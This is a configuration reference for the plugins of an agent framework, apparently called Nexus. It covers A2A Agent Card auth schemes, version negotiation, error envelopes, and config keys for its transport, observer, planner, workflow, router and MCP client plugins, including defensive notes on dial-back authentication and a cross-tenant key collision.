Agent Card security schemes
The card’s securitySchemes and securityRequirements are derived from the
configured validators, so what a client is told to present is what the chain
enforces. One validator becomes one named scheme plus one requirement entry;
the scheme name is the chain-order name nexusauth already assigned (static,
jwks, jwks#2), so the card and the boot log name the same thing.
| Validator type | Scheme published |
|---|---|
static (and the desugared bearer_token) | httpAuthSecurityScheme with scheme: Bearer. |
jwks | httpAuthSecurityScheme with scheme: Bearer, bearerFormat: JWT; the description names the configured issuer and audience so a client knows where to obtain a token. |
introspect | httpAuthSecurityScheme with scheme: Bearer and no bearerFormat — an introspected token is opaque by construction. |
proxy_headers | Nothing. This validator accepts no client credential: it honours an identity a trusted fronting proxy already established and refuses those headers from anyone outside the CIDR allowlist. Publishing a scheme would instruct clients to send a header guaranteed to be ignored, or invite them to assert an identity directly. Auth is still enforced. |
Requirements are emitted as separate entries rather than one entry naming
every scheme, because that is the accurate translation of a nexusauth.Chain:
the chain is first-success, so satisfying any validator suffices, and A2A
spells “any of these alternatives” as separate members of the
securityRequirements array. With no validators configured the card carries no
securitySchemes at all, which is the honest document for a listener that
admits everyone — and is why the bind address defaults to loopback.
Agent Card auth posture
GET /.well-known/agent-card.json is unauthenticated by default, even when
every operation is guarded.
Specification §8.2 makes the well-known URI a pre-authentication bootstrap step:
a client fetches the card precisely to discover which credentials to obtain
(§7.3, step 1), so gating it behind those same credentials is circular and
breaks every conforming client. The specification’s answer for a card that must
stay private is a separate authenticated document behind
GetExtendedAgentCard (§6.9), which this plugin does not implement and honestly
declares as false.
The counter-argument is real, and is why card_requires_auth exists: this card
names a private agent, and its description, skills and examples may describe
capability an operator would rather not publish. Two things answer it. First,
the listener binds loopback by default, so the “public” document is not
reachable from anywhere the operator did not deliberately open. Second, the
card’s contents are hand-authored for exactly this reason — nothing is derived
from the tool catalog, so what the card reveals is what an operator chose to
reveal.
An operator who moves bind off loopback and still needs the card private sets
card_requires_auth: true and distributes the document out-of-band, which §8.2
explicitly sanctions (“Direct Configuration”). That is a real trade — it makes
the agent undiscoverable to clients that have not already been told about it —
so it is opt-in, not the default.
OPTIONS preflight on every route is never authenticated: a browser does
not attach Authorization to a preflight.
A2A version negotiation
Specification §3.6.2 says an agent MUST interpret an empty A2A-Version as
0.3. pkg/a2a implements that literally, and since the codec speaks only
1.0, the literal reading turns every header-less request into a
VersionNotSupportedError. That rule exists to protect clients that predate the
parameter — an agent that used to serve 0.3 must not silently reinterpret an
old client’s requests under new semantics.
This listener has no such client to protect, so the default is the lenient reading:
strict_version_header | Absent A2A-Version is read as | Effect |
|---|---|---|
false (default) | 1.0 | The request is processed. Every response carries A2A-Version: 1.0 so the client can see what it was processed as rather than infer it. |
true | 0.3 | The literal §3.6.2 behaviour: the request is refused with VersionNotSupportedError. |
An explicit unsupported version (A2A-Version: 0.3) is refused under both
settings — the policy only governs absence. The parameter may also ride a query
parameter (?A2A-Version=1.0), which §3.6.1 permits.
Set strict_version_header: true for a conformance harness, or for a
deployment that will later front a 0.3 interface from the same origin.
Error envelopes
Each binding answers in its own shape, so a client parses one format per endpoint:
| Condition | JSON-RPC binding | REST binding |
|---|---|---|
| Protocol error (bad params, unknown method, unsupported operation, unsupported version) | HTTP 200 with a JSON-RPC error object carrying the A2A code (-32602, -32601, -32004, -32009, …) and the request id echoed. 200 is the JSON-RPC contract: the outcome rides the body. | The §11.6 google.rpc.Status body with the A2A error’s mapped HTTP status and a google.rpc.ErrorInfo detail (domain: a2a-protocol.org). |
| Authentication / authorization refusal | HTTP 401/403/503 plus a JSON-RPC error object with code -32000 and an ErrorInfo detail (domain: nexus.io.a2a). | The same google.rpc.Status shape with status UNAUTHENTICATED / PERMISSION_DENIED / UNAVAILABLE. |
Unknown path under rest_prefix | — | 404 with MethodNotFoundError. |
| Known path, wrong verb | — | 405 with an Allow header naming the verb that would have worked. |
A2A defines no authentication error in its taxonomy: §3.3.2 names “HTTP 401
Unauthorized, gRPC UNAUTHENTICATED, JSON-RPC custom error”, leaving the
code to the implementation. -32000 is the one value in JSON-RPC 2.0’s
implementation-defined server-error range that A2A does not claim for itself
(A2A reserves -32001…-32099), so it cannot collide with a protocol error a
client already knows how to interpret. The HTTP status stays the authoritative
signal; the body exists so a client that only parses envelopes still gets a
well-formed one. The RFC 6750 WWW-Authenticate challenge and the Retry-After
on 503 follow the same status mapping nexus.io.agui and the broker use — the
denial kinds are the shared package’s transport contract, and one deployment
should not answer the same refusal three different ways.
Example
plugins:
nexus.io.a2a:
bind: "0.0.0.0:8091"
public_url: "https://agent.example.com"
bearer_token_env: NEXUS_A2A_TOKEN
cors_origins: ["https://console.example.com"]
card:
name: "Nexus Research Agent"
description: "Runs research turns with web search and file tools."
version: "1.2.0"
documentation_url: "https://example.com/docs/agent"
provider:
organization: "Example Inc."
url: "https://example.com"
default_input_modes: ["text/plain"]
default_output_modes: ["text/plain"]
skills:
- id: research
name: "Research a topic"
description: "Searches the web and summarizes findings with citations."
tags: ["research", "search", "summarization"]
examples:
- "Summarize the last three papers on retrieval-augmented generation."
nexus.io.realtime
Source: plugins/io/realtime/plugin.go. WebSocket bidirectional transport
for low-latency clients (browser front-ends, native voice clients) that
want raw stream.delta deltas, tool previews, voice audio chunks, and
cancel envelopes without going through the nexus.io.browser UI hub.
| Key | Type | Default | Description |
|---|---|---|---|
listen_addr | string | :7676 | TCP address the WebSocket server binds to. |
path | string | /ws | URL path the WebSocket handler is mounted at. |
max_clients | int | 16 | Concurrent connection cap. New dials past the cap receive HTTP 503. |
Outbound envelopes (server → client, JSON): stream.delta, stream.end,
tool.preview, audio.chunk, cancel.complete, hitl.request.
Inbound envelopes (client → server, JSON): input, audio.chunk,
cancel, approval.
No auth in v1. Origin checks and bearer-token validation are tracked follow-ups; operators running this on a public network must front it with a reverse proxy that does its own authentication.
nexus.io.broker
Source: plugins/io/broker/plugin.go. Dial-back IO transport for Nexus
instances spawned by the session broker (cmd/nexus-broker). Unlike
nexus.io.browser / nexus.io.realtime, which LISTEN, this plugin DIALS OUT
to the broker’s instance gateway over WebSocket — the broker is the only
listening socket. On Ready it dials broker_addr, sends a register frame
keyed by lease_id, announces readiness, and reports the engine session id
(for later -recall resume) before bridging IO frames in both directions.
Config keys fall back to environment variables the broker injects at spawn, so operators normally set neither by hand:
| Key | Type | Default | Description |
|---|---|---|---|
broker_addr | string | $NEXUS_BROKER_ADDR | WebSocket URL of the broker’s instance dial-back endpoint (e.g. ws://127.0.0.1:8080/instance). Falls back to the NEXUS_BROKER_ADDR env var. When empty the plugin stays dormant (no dial). |
lease_id | string | $NEXUS_BROKER_LEASE_ID | Lease id assigned by the broker at spawn; echoed in the register frame. Falls back to the NEXUS_BROKER_LEASE_ID env var. When empty the plugin stays dormant. |
spawn_secret | string | $NEXUS_BROKER_SPAWN_SECRET | Per-spawn secret the broker generates for this instance and injects at exec; echoed in the register frame alongside lease_id. Falls back to the NEXUS_BROKER_SPAWN_SECRET env var. Empty does not make the plugin dormant — it dials and is refused. Every broker requires it, with or without an auth: block. |
The spawn_secret is a second factor for the dial-back socket. The lease id
alone is a poor authenticator for it: the same value appears in ws_urls, client
requests and logs, so anything that observes one could otherwise impersonate an
instance. The broker records the expected value on the lease and injects it
through the environment (never argv, which is world-readable). Both the lease id
and the secret must match or the dial-back is closed with the same
policy-violation close an unknown lease gets.
How the broker produces the value depends on whether it keeps state — the plugin
echoes whatever it was handed either way. With no state_dir it is 128 bits of
crypto/rand per spawn, held only in memory. With a state_dir it is derived as
HMAC-SHA256(<state_dir>/spawn-key, lease_id), so a restarted broker can
recompute the value a surviving instance still holds; the secret itself is still
never written to disk. See
Restart recovery.
Enforcement on the broker side is unconditional: every register frame must
carry the secret, with or without an auth: block, on a freshly claimed lease or
on one restored after a broker restart. It used to be gated on auth:, which
meant an unauthenticated broker authenticated its dial-back socket with a lease id
alone — a value that travels in ws_urls, client requests and logs. A nexus
build that predates the protocol is therefore now refused everywhere, and
removing the auth: block is no longer a workaround; upgrade the binary the
binary registry entry points at. The value is never
logged and never appears in GET /leases. See
Instance dial-back authentication.
Outbound IO messages (instance → broker → client, JSON inside the frame
payload): output, stream.delta, stream.end, status, approval.request,
hitl.request, cancel.complete.
Inbound IO messages (client → broker → instance): input,
approval.response, hitl.response, cancel.
The connection reconnects with exponential backoff until shutdown. On an
inbound shutdown frame (sent by the broker for POST /release and later
idle/crash teardown) the plugin emits io.session.end, which drives a clean
engine Stop that flushes and persists the session before the process exits;
the reconnect loop is latched off so the graceful teardown is not undone. There
is no auth in the plugin itself — the broker gateway owns lease validation
and any transport-level authentication.
nexus.io.voice
Source: plugins/io/voice/plugin.go. Bus-driven voice IO bridge:
consumes voice.audio.input.chunk events (typically from
nexus.io.realtime), runs simple energy-based VAD plus ASR via the
OpenAI Whisper API, and emits io.input. Consumes llm.response,
runs TTS via the OpenAI /audio/speech endpoint, and emits
voice.audio.output.chunk frames back. Implements barge-in: a
speech-energy input chunk arriving while a TTS turn is in flight emits
cancel.request{Source: "voice"}.
Local-model providers (local_whisper, faster_whisper,
distil_whisper for ASR; kokoro, local_*, *_local for TTS) are
recognized by the schema but rejected at Init with a clear error
pointing at issue #92, where the local-model bootstrapping work is
tracked separately.
| Key | Type | Default | Description |
|---|---|---|---|
asr.provider | string | openai_whisper | Only openai_whisper is wired in this PR. Local-model values rejected pending #92. |
asr.api_key_env | string | OPENAI_API_KEY | Env var that holds the API key. |
asr.api_key | string | (none) | Inline API key. Overrides api_key_env. |
asr.model | string | whisper-1 | Whisper model id. |
asr.endpoint | string | OpenAI default | Override URL for the transcription endpoint (test injection). |
tts.provider | string | openai | Only openai is wired in this PR. Local-model values rejected pending #92. |
tts.api_key_env | string | OPENAI_API_KEY | Env var that holds the API key. |
tts.api_key | string | (none) | Inline API key. Overrides api_key_env. |
tts.model | string | tts-1 | TTS model id. |
tts.voice | string | alloy | Voice preset id. |
tts.streaming | bool | true | Always true in v1; reserved for future non-streaming mode. |
tts.endpoint | string | OpenAI default | Override URL for the speech endpoint (test injection). |
tts.chunk_bytes | int | 8192 | Frame size in bytes for emitted output chunks. |
vad.threshold | number | 0.02 | RMS energy threshold (normalized 0..1) above which the buffer is considered speech. |
vad.silence_ms | integer | 600 | Milliseconds of below-threshold audio that triggers an utterance flush. |
barge_in.enabled | bool | true | Cancel an in-flight TTS turn when new speech is detected. |
barge_in.threshold | number | vad.threshold | RMS threshold above which an incoming chunk is treated as barge-in. |
text_fallback | bool | true | Allow io.input from non-voice transports to flow through unchanged. |
VAD energy is computed as RMS over little-endian PCM int16 samples for
audio/wav / audio/pcm / audio/l16. For compressed containers
(webm/opus, mpeg/mp3) the bytes are not PCM and we fall back to a
byte-level energy heuristic until a proper decode is added — flagged
with a TODO(#91) in plugins/io/voice/vad.go.
nexus.io.test
Source: plugins/io/test/plugin.go. Non-interactive testing transport.
| Key | Type | Default | Description |
|---|---|---|---|
inputs | list | (empty) | Scripted user inputs (fed sequentially). |
input_delay | duration | 500ms | Delay between inputs. |
approval_mode | string | approve | approve, deny, per-prompt. |
approval_rules | list | (empty) | Per-prompt rules: each `{match: |
hitl_responses | list | (empty) | Scripted answers to hitl.requested events. Bare strings are treated as free_text; {choice_id: ..., free_text: ...} maps populate the corresponding response fields. |
hitl_auto_respond | bool | true | Whether hitl.requested is answered automatically (the next hitl_responses entry, else the request’s default_choice_id, else an empty answer). Set false to leave a question genuinely unanswered so something else owns the answer — another transport, or another engine, as in the A2A loopback. The event is still collected either way. |
mock_responses | list | (empty) | Synthetic LLM responses. Each {content, tool_calls: [{name, arguments}]}. When set, the plugin vetoes real llm.request events. |
timeout | duration | 60s | Session timeout. |
read_stdin | bool | true | Read stdin when no other input source is available. |
nexus.io.wails
Source: plugins/io/wails/plugin.go. Wails-native transport. The runtime is
installed by the embedder via Hub().SetRuntime() before engine.Boot; this
plugin only configures event bridging.
| Key | Type | Default | Description |
|---|---|---|---|
subscribe | list | (empty) | Event types to bridge bus → frontend. Empty triggers legacy hardcoded chat-event subscriptions for parity with nexus.io.browser. |
accept | list | (empty) | Event types accepted from the frontend → bus. |
nexus.io.oneshot
Source: plugins/io/oneshot/plugin.go. Scripting/batch mode with JSON
transcript output.
| Key | Type | Default | Description |
|---|---|---|---|
input | string | (none) | Inline prompt (lowest precedence). |
input_file | string | (none) | Path to a prompt file. |
output_file | string | (none) | Path to write the JSON transcript. |
pretty | bool | true | Pretty-print JSON output. |
read_stdin | bool | true | Read stdin when available. |
Prompt resolution precedence: NEXUS_ONESHOT_PROMPT env > input > input_file
stdin.
Native Realtime API integration — deferred
OpenAI Realtime and Gemini Multimodal Live are entire new wire protocols
separate from the standard chat/generate endpoints. They are not
part of the multimodal-foundation PR (#93) and are tracked as a
follow-up under issue #91. Until they land, voice-mode use the
ASR → LLM → TTS pipeline implemented in plugins/io/voice/. See
Native Realtime API integration — deferred
for the full rationale and follow-up scope.
Observers
nexus.observe.thinking
Source: plugins/observe/thinking/plugin.go. No configuration. Marker
plugin: presence in plugins.active lets terminal and browser shells
enable thinking-related UI. The events themselves are journaled
automatically and can be read live via journal.Writer.SubscribeProjection
or post-mortem via journal.ProjectFile.
nexus.observe.otel
Source: plugins/observe/otel/plugin.go. OTLP exporter (one root span per
session, one span per event).
| Key | Type | Default | Description |
|---|---|---|---|
endpoint | string | (none) | OTLP endpoint, e.g. http://localhost:4317. |
protocol | string | grpc | grpc or http/protobuf. |
service_name | string | nexus | OpenTelemetry service name. |
exclude_events | list | (empty) | Event types to skip; supports prefix wildcards (llm.stream.*). |
nexus.observe.sampler
Source: plugins/observe/sampler/plugin.go. Off by default. Captures a
fraction of live session journals (and every failed session when
failure_capture is on) into a local directory so the eval pipeline can
score them later. The plugin must be both registered (it is — automatically
via pkg/engine/allplugins) and listed in plugins.active and
configured with enabled: true for any capture to happen. Omitting the
config block, or setting enabled: false, makes the plugin a no-op:
Subscriptions() returns empty, no bus traffic, no disk writes.
plugins:
active:
- nexus.observe.sampler
nexus.observe.sampler:
enabled: false
rate: 0.0
failure_capture: true
out_dir: ~/.nexus/eval/samples
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | false | Master switch. When false, the plugin draws no bus traffic and writes no files even if it appears in plugins.active. |
rate | float | 0.0 | Fraction of normal sessions captured at io.session.end, in [0, 1]. 0.0 disables rate sampling; 1.0 captures every session. Validated at Init; out-of-range values fail boot when enabled: true. |
failure_capture | bool | true | When true, sessions whose metadata/session.json status is anything other than active or completed are captured regardless of rate. Use false to disable failure capture entirely. |
out_dir | string | ~/.nexus/eval/samples | Directory where samples land. Path expansion via engine.ExpandPath. Each sample is written to <out_dir>/<session-id>/journal/ plus a <out_dir>/<session-id>/metadata.json sibling. |
The plugin emits an eval.candidate event per capture (payload defined in
plugins/observe/sampler/events.go) so downstream tooling — for example,
nexus eval list-candidates once it lands — can enumerate fresh samples.
The pluggable Redactor interface (plugins/observe/sampler/redact.go) is
the hook for future PII scrubbing. v1 ships only the IdentityRedactor
(byte-pass-through). Tests inject custom redactors via the package-private
Plugin.SetRedactor API; production runs leave it on the default.
Caveat: rotated journal segments. When a non-identity redactor is configured, the active
events.jsonlsegment is rewritten line-by-line through it. Compressed*.jsonl.zstrotated segments are byte-copied as-is in v1 — handling them transparently requires zstd round-trips that are deferred to a follow-up.
Planners
nexus.planner.dynamic
Source: plugins/planners/dynamic/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
approval | string | auto | always (block until user approves), never (auto-execute), auto (LLM decides). |
plan_prompt | string | (default) | Inline planning prompt. |
plan_prompt_file | string | (none) | Path to a planning prompt file. |
model_role | string | (default) | Role used for plan generation. |
model | string | (none) | Explicit model ID (backward-compat; prefer model_role). |
max_steps | int | 10 | Hard cap; excess steps from the LLM are truncated. |
nexus.planner.static
Source: plugins/planners/static/plugin.go. Approval auto-defaults to never
(static plans don’t call an LLM).
| Key | Type | Default | Description |
|---|---|---|---|
approval | string | never | always or never. |
summary | string | Static execution plan | Free-form plan summary. |
steps | list | (required) | Step list. |
steps[].description | string | (required) | Step description. |
steps[].instructions | string | (none) | Step-specific instructions. |
Workflows
Generic workflow surface
Workflow plugins (currently nexus.workflows.icm; planned to extend to other
multi-stage runners) emit a workflow-agnostic event class so IO plugins can
render a dedicated progress surface (a sticky panel in the TUI right rail; a
status indicator chip in the browser) without subscribing to plugin-specific
event taxonomies.
Event: workflow.progress — payload events.WorkflowProgress
(pkg/events/workflow.go).
| Field | Type | Description |
|---|---|---|
workflow_id | string | Producer plugin instance ID (nexus.workflows.icm, nexus.workflows.icm/script, …). |
workflow_name | string | Human-readable workflow label (workspace name for ICM). |
run_id | string | Identifier for this particular run. |
stage / stage_label | string | Machine ID + display label for the current stage. Empty at run start / end. |
stage_index / stage_total | int | 1-based position in the stage sequence. |
iteration / max_iterations | int | Loop iteration counters. 0 when the stage is not looping. |
turn / max_turns | int | Inner-turn counters. 0 when not tracked. |
items_done / items_total | int | Fan-out progress. 0 when not a fan-out stage. |
current_item | string | Most recently completed item ID for fan-out. |
status | string | One of started, running, iterating, item_done, completed, failed, halted. |
detail | string | Short free-form one-liner suitable for display. |
failures | list of strings | Names of predicates whose failure prevented this iteration / turn from converging. |
ICM emits workflow.progress alongside its detailed icm.* events: the
icm.* family feeds scrollback audit rows; workflow.progress feeds the
dedicated status surface. Future workflow plugins can emit only the generic
event and inherit the same UI treatment without per-plugin subscriptions.
The TUI (nexus.io.tui) and browser (nexus.io.browser) subscribe to
workflow.progress automatically when active.
nexus.workflows.icm
Source: plugins/workflows/icm/plugin.go. File-driven multi-stage workflow
runner. A workspace is a folder containing operator.md, workspace.md, and
a stages/ tree of contracts; each stage runs as a sub-agent dispatched via
the posture registry. Multi-instance: pin distinct workspaces per instance
via the nexus.workflows.icm/<suffix> form (e.g.
nexus.workflows.icm/script). See docs/src/plugins/workflows-icm.md for
the full plugin guide.
Requires the posture.registry capability (provided by
nexus.agent.postures). Strongly recommended companions:
nexus.control.hitl (human gates + judge approvals), nexus.skills
(workspace skills authoring tooling).
| Key | Type | Default | Description |
|---|---|---|---|
workspace | string | (required) | Path to the ICM workspace folder. Expanded via ~. Loaded + validated at boot; load errors fail boot. |
default_judge_posture | string | (empty) | Registered posture name used for type: llm predicates that do not name an explicit model: posture. Required when any predicate uses type: llm. |
default_workflow_posture | string | (empty) | Optional base posture name. Stages without an agent.posture: inherit Model / AllowedTools / Budget / MaxRecursionDepth from this posture before applying stage-level overrides. |
cache_size | int | 0 | Per-run delegate cache capacity. 0 disables caching (recommended — ICM stages typically have tool side effects + predicate retries that make cross-run caching hostile). |
inline_artifact_limit_bytes | int | 32768 | Maximum size for inlining an artifact body into the XML payload. Above this threshold ICM emits <artifact_ref/> and the LLM uses read_file. |
loop_max_restarts | int | 3 | Per-stage cap on loop.on_exhausted: human_gate restart choices. 0 = unlimited. Prevents infinite restart cycles when a workspace cannot converge. |
input_filename | string | input.txt | Filename written into <runID>/00_input/ when io.input carries direct content (not a file path). |
treat_input_as_path_if_exists | bool | true | When true, io.input.Content is interpreted as a file path if os.Stat succeeds and the file is copied into 00_input/; otherwise the content is written verbatim. |
workspace_inputs_dir | string | (empty) | Optional directory whose regular files are copied into <runID>/00_input/ at run start, before io.input content is processed. Useful for static fixtures. |
auto_include_skill_reference_tool | bool | true | When true, ICM automatically appends the read_skill_reference[_<suffix>] tool to each derived stage posture whose contract declares inputs.skills. Set false to require explicit listing in agent.tools. |
predicate_command_timeout_seconds | int | 30 | Default timeout for type: command predicates when neither the predicate nor the stage budget specifies one. |
emit_progress_thinking_steps | bool | true | When true, ICM emits thinking.step events with Phase="icm.<stage_id>" so UIs that render thinking surfaces show inline stage transitions. |
Events
Subscribes:
io.input— entry point. Each input begins a new workflow run.hitl.responded— resumes a run paused at a human gate ortype: humanpredicate.
Emits (workflow lifecycle):
icm.run.started/icm.run.completed/icm.run.halted— overall run boundaries.icm.stage.started/icm.stage.completed/icm.stage.failed— per-stage transitions.icm.stage.iteration— fires once per loop iteration with the prior iteration’sexit_failures.icm.turn— fires once per inner turn with the turn’s validator failures.icm.fanout.item— per-item lifecycle in a fan-out stage (active,completed,failed).icm.predicate.failed— fires for every predicate evaluation whose verdict isfail.plan.created/plan.progress— generic plan surface mirrored for any UI that already renders ReAct plans.workflow.progress— engine-generic structured progress (see Generic workflow surface below).hitl.requested— human gates andtype: humanpredicates dispatch through HITL.
nexus.skills
Source: plugins/skills/plugin.go. Registers the activate_skill LLM tool.
| Key | Type | Default | Description |
|---|---|---|---|
scan_paths | list | (empty) | Directories scanned for SKILL.md files. No implicit defaults — discovery is gated entirely by this list. |
trust_project | string | ask | Trust level for project skills: ask, always, never. |
max_active_skills | int | 10 | Hard cap on concurrently active skills. |
catalog_in_system_prompt | bool | true | Inject the skill catalog into the system prompt at priority 50. |
disabled_skills | list | (empty) | Skill names to disable even if discovered. |
System
nexus.system.dynvars
Source: plugins/system/dynvars/plugin.go. Registers a system-prompt section at
priority 100 that lists runtime variables. Each flag defaults to false —
opt-in only.
| Key | Type | Default | Description |
|---|---|---|---|
date | bool | false | Include Current date: YYYY-MM-DD. |
time | bool | false | Include Current time: HH:MM:SS. |
timezone | bool | false | Include the local timezone abbreviation. |
cwd | bool | false | Include the engine working directory. |
session_dir | bool | false | Include the session workspace root. |
os | bool | false | Include os/arch. |
Control
nexus.control.cancel
Source: plugins/control/cancel/plugin.go. No configuration. Provides the
control.cancel capability used by ReAct and other agents to interrupt
in-flight work; also handles the /resume slash command via io.input at
priority 5 (ahead of memory plugins).
Routers
Plugins that subscribe before:llm.request and rewrite request.Model
based on the request’s metadata, tags, or an LLM-classifier judgment.
Routers run at priority 50 (metadata) / 45 (classifier) — above gates,
below the engine’s tag seeder. Both stand down when the request already
carries _target_provider (a fallback retry) or _routed_by (an upstream
rule already chose a model).
nexus.router.metadata
Source: plugins/router/metadata/plugin.go. Declarative rules over the
request’s Metadata (_source, task_kind, iteration) and Tags
(tenant, project, source_plugin, …). First matching rule wins;
the terminal default_model / default_role fires when no rule matches.
| Key | Type | Default | Description |
|---|---|---|---|
rules | list | (empty) | Ordered rule list. See below. |
default_model | string | (none) | Fallback model id when no rule matches. |
default_role | string | (none) | Fallback role when no rule matches. |
Each entry under rules:
| Key | Type | Default | Description |
|---|---|---|---|
name | string | rule#N | Optional label recorded on req.Metadata["_routed_rule"]. |
match | map | (required) | Match conditions. Keys: metadata.<key>, tags.<key>, role, model. Values: bare string (equality), or `{lt |
use | string | (one of) | Concrete model id to assign. |
role | string | (one of) | Role name to assign (resolved against core.models). |
nexus.router.classifier
Source: plugins/router/classifier/plugin.go. Small LLM judges the
difficulty of the user’s most recent prompt and picks one of
candidate_roles. The decision is cached by prompt-prefix hash (LRU).
Cache hits rewrite LLMRequest.Role synchronously; misses route to
fallback_role immediately and warm the cache asynchronously via a
probe llm.request tagged _source: nexus.router.classifier.
| Key | Type | Default | Description |
|---|---|---|---|
classifier_role | string | (required) | Model role (resolved via core.models) used for the classification probe. |
candidate_roles | list | (required) | Cheapest-first list of model roles the classifier picks among. |
fallback_role | string | (none) | Model role used on cache miss while the cache warms. |
prompt | string | (default) | Classifier prompt template (%s for the candidate-role list and prompt). |
prefix_chars | int | 256 | Number of leading prompt characters folded into the cache key. |
cache_classification | bool | true | Whether to cache decisions at all. |
cache_max_entries | int | 1024 | LRU capacity. |
latency_budget_ms | int | 800 | Drop the warm if the probe doesn’t return within this window. |
Discovery
nexus.discovery.progressive
Source: plugins/discovery/progressive/plugin.go. Hierarchical tool discovery
— the LLM sees class-level summaries and drills into specific classes via a
discover meta-tool. Intercepts before:llm.request (priority 8) and
tool.invoke (priority 40).
| Key | Type | Default | Description |
|---|---|---|---|
scope | string | session | session, turn, or hybrid. |
idle_prune_turns | int | 5 | Turns of inactivity before a class is pruned (scope: hybrid only). |
classless_behavior | string | include | include (always reveal classless tools) or exclude. |
always_include | list | (empty) | Class names that are always fully revealed. |
default_depth | string | class | class (summaries only) or full (all tools). |
LLM batch
nexus.llm.batch
Source: plugins/llm/batch/plugin.go. Cross-provider batch coordinator
(Anthropic Messages Batches, OpenAI Batch API). Subscribes
llm.batch.submit; emits llm.batch.status and llm.batch.results.
| Key | Type | Default | Description |
|---|---|---|---|
poll_interval | duration | 5m | How often to poll provider batch status. |
data_dir | string | ~/.nexus/batches | Directory for persisted batch state (resumed across restarts). |
default_max_tokens | int | 1024 | Default max_tokens applied when a batched request didn’t pin one. |
providers.anthropic.api_key | string | (env) | Anthropic API key. |
providers.anthropic.api_key_env | string | ANTHROPIC_API_KEY | Env var to read the Anthropic key from. |
providers.openai.api_key | string | (env) | OpenAI API key. |
providers.openai.api_key_env | string | OPENAI_API_KEY | Env var to read the OpenAI key from. |
anthropic_api_key_env | string | (none) | Backward-compat: flat top-level Anthropic key env var. |
openai_api_key_env | string | (none) | Backward-compat: flat top-level OpenAI key env var. |
v1 limitations (intentional): direct-API auth only (no Bedrock/Vertex/Azure); text-only requests (no multimodal/thinking/caching/citations); single-provider per submit; no cancellation API.
MCP integration
nexus.mcp.client
Source: plugins/mcp/client/. Bridges one or more external Model Context
Protocol (MCP) servers into Nexus. Tools land in the catalog under
mcp__<server>__<tool>, static resources auto-register as no-arg tools,
resource templates become parameterised tools, and prompts surface as slash
commands. See docs/src/plugins/mcp-client.md for the user-facing guide.
Schema-validated at boot. The plugin ships plugins/mcp/client/schema.json
and implements ConfigSchema(), so the engine validates this block before
Init runs, with additionalProperties: false at every object level. The
tables below are the whole surface: any key not listed is rejected by name. The
per-transport requirements (command for stdio, url for http, server
for inprocess) are conditional if/then branches in the schema, so a
missing key aborts the boot naming the key instead of surfacing later as a
connection-phase error from parseServer.
Two constraints the schema deliberately does not carry: duplicate name
values across servers[] (a cross-item check JSON Schema cannot express —
parseConfig rejects them at parse time), and cross-transport key exclusivity
(command, url and server are read unconditionally, so a leftover command
on an http server is accepted and ignored, exactly as today).
Top-level keys:
| Key | Type | Default | Description |
|---|---|---|---|
servers | list | (none) | One entry per MCP server. See per-server keys below. |
defaults | map | (none) | Inherited by every entry in servers unless overridden inline. |
aliases | map<string,string> | (none) | Optional alias map: short slash command → <server>.<prompt>. Values must be non-empty strings. Aliases use the configured command_prefix chain; e.g. review: gh.review_pr makes /review rewrite to /mcp.gh.review_pr. |
defaults
| Key | Type | Default | Description |
|---|---|---|---|
lifecycle | string | engine | When servers connect/disconnect. engine = connect on engine boot, disconnect on shutdown. session = connect on io.session.start, disconnect on io.session.end. Only those two values. |
timeout | duration string | 30s | Per-RPC timeout used for tools/call, resources/read, prompts/get, etc. Must be a quoted-or-bare duration string (30s, 1m30s). A bare number is rejected at boot: the parser reads this key only through a string type assertion, so timeout: 30 would silently fall back to the default. |
command_prefix | string | mcp | First segment of the slash command Nexus registers per prompt. With the default a server named fake and a prompt named greet becomes /mcp.fake.greet. Must be non-empty. |
resources.enabled | bool | true | Toggle the entire resource surface for the server. |
resources.auto_register_static | bool | true | When true, every static resource becomes a no-arg catalog tool. |
resources.auto_register_template | bool | true | When true, every resource template becomes a catalog tool whose inputSchema mirrors the template’s variables. |
resources.auto_register_max | int ≥ 0 | 50 | If a server returns more static resources than this, the static auto-registration is skipped and only the generic list_resources/read_resource tools are exposed. Unlike timeout, this one is a number — the parser reads it through an int/int64/float64 coercion. Negative values are rejected at boot (the parser would silently ignore them). |
resources.subscribe_updates | bool | true | Subscribe to resources/updated for each auto-registered static. Notifications produce mcp.resource.updated events. |
prompts.enabled | bool | true | Toggle the prompt slash-command surface for the server. |
servers[]
| Key | Type | Default | Description |
|---|---|---|---|
name | string | (required) | Lowercase alpha-numeric identifier used to namespace every catalog entry and slash command ([a-z0-9][a-z0-9_-]*). |
transport | string | stdio | One of stdio (subprocess via the SDK), http (streamable HTTP), or inprocess (in-memory transport to a host-registered *mcp.Server). |
command | string | (required for stdio) | Executable to launch. Resolved on PATH; users wanting ~ expansion can write the full path. |
args | list | (none) | Argument list passed to command. |
env | map<string,string> | (none) | Environment variables exported to the subprocess. ${VAR} references are expanded from the host environment. |
env_passthrough | list | (none) | Names of host environment variables forwarded verbatim (skipped silently when not set on the host). |
url | string | (required for http) | Base URL of the streamable HTTP MCP endpoint. |
headers | map<string,string> | (none) | HTTP headers attached to every request. ${VAR} references expand from the host environment. |
server | string | (required for inprocess) | Opaque host-chosen key of a live *mcp.Server the embedding host registered with client.RegisterInProcessServer(key, srv) before engine.Boot(). Must be byte-identical to that key. The connection is wired over an in-memory transport instead of a subprocess or HTTP dial. The registry is process-wide — see the note below. |
lifecycle | string | inherited from defaults | engine or session. |
timeout | duration string | inherited from defaults | Overrides defaults per server. String only — see defaults.timeout. |
tools.allow | list | (none) (all allowed) | If set, only listed raw MCP tool names are forwarded to the catalog. |
tools.deny | list | (none) | Raw MCP tool names to drop unconditionally. Deny takes precedence over allow. |
resources.* | map | inherited from defaults | Same keys as defaults.resources. |
prompts.enabled | bool | inherited from defaults | Disable per server when desired. |
transport: inprocess — process-wide key namespace
The registry behind server (RegisterInProcessServer / UnregisterInProcessServer
in plugins/mcp/client/injected.go) is a package-level map shared by the whole
process, not scoped to an engine, agent, or session. A second registration under
an existing key silently replaces the first.
In a host running several engines in one process this is a cross-tenant leak: if
tenant A and tenant B both register under host-tools, the map holds whichever
registered last, and tenant A’s config — still saying server: host-tools —
connects to tenant B’s MCP server. Nothing errors; the tools answer normally
against the wrong tenant’s data. Scope keys per tenant or per agent, and derive
the YAML server: value from the same identifier used for the registration key.
The key is resolved when the server connects (during Boot for
lifecycle: engine, at io.session.start for lifecycle: session), so
registration must happen before engine.Boot(). A missing server key fails
schema validation at boot; a present but unregistered key does not — boot
succeeds and the connect fails with no host-injected server registered under key "…" logged at error, leaving the mcp__<server>__* namespace absent.
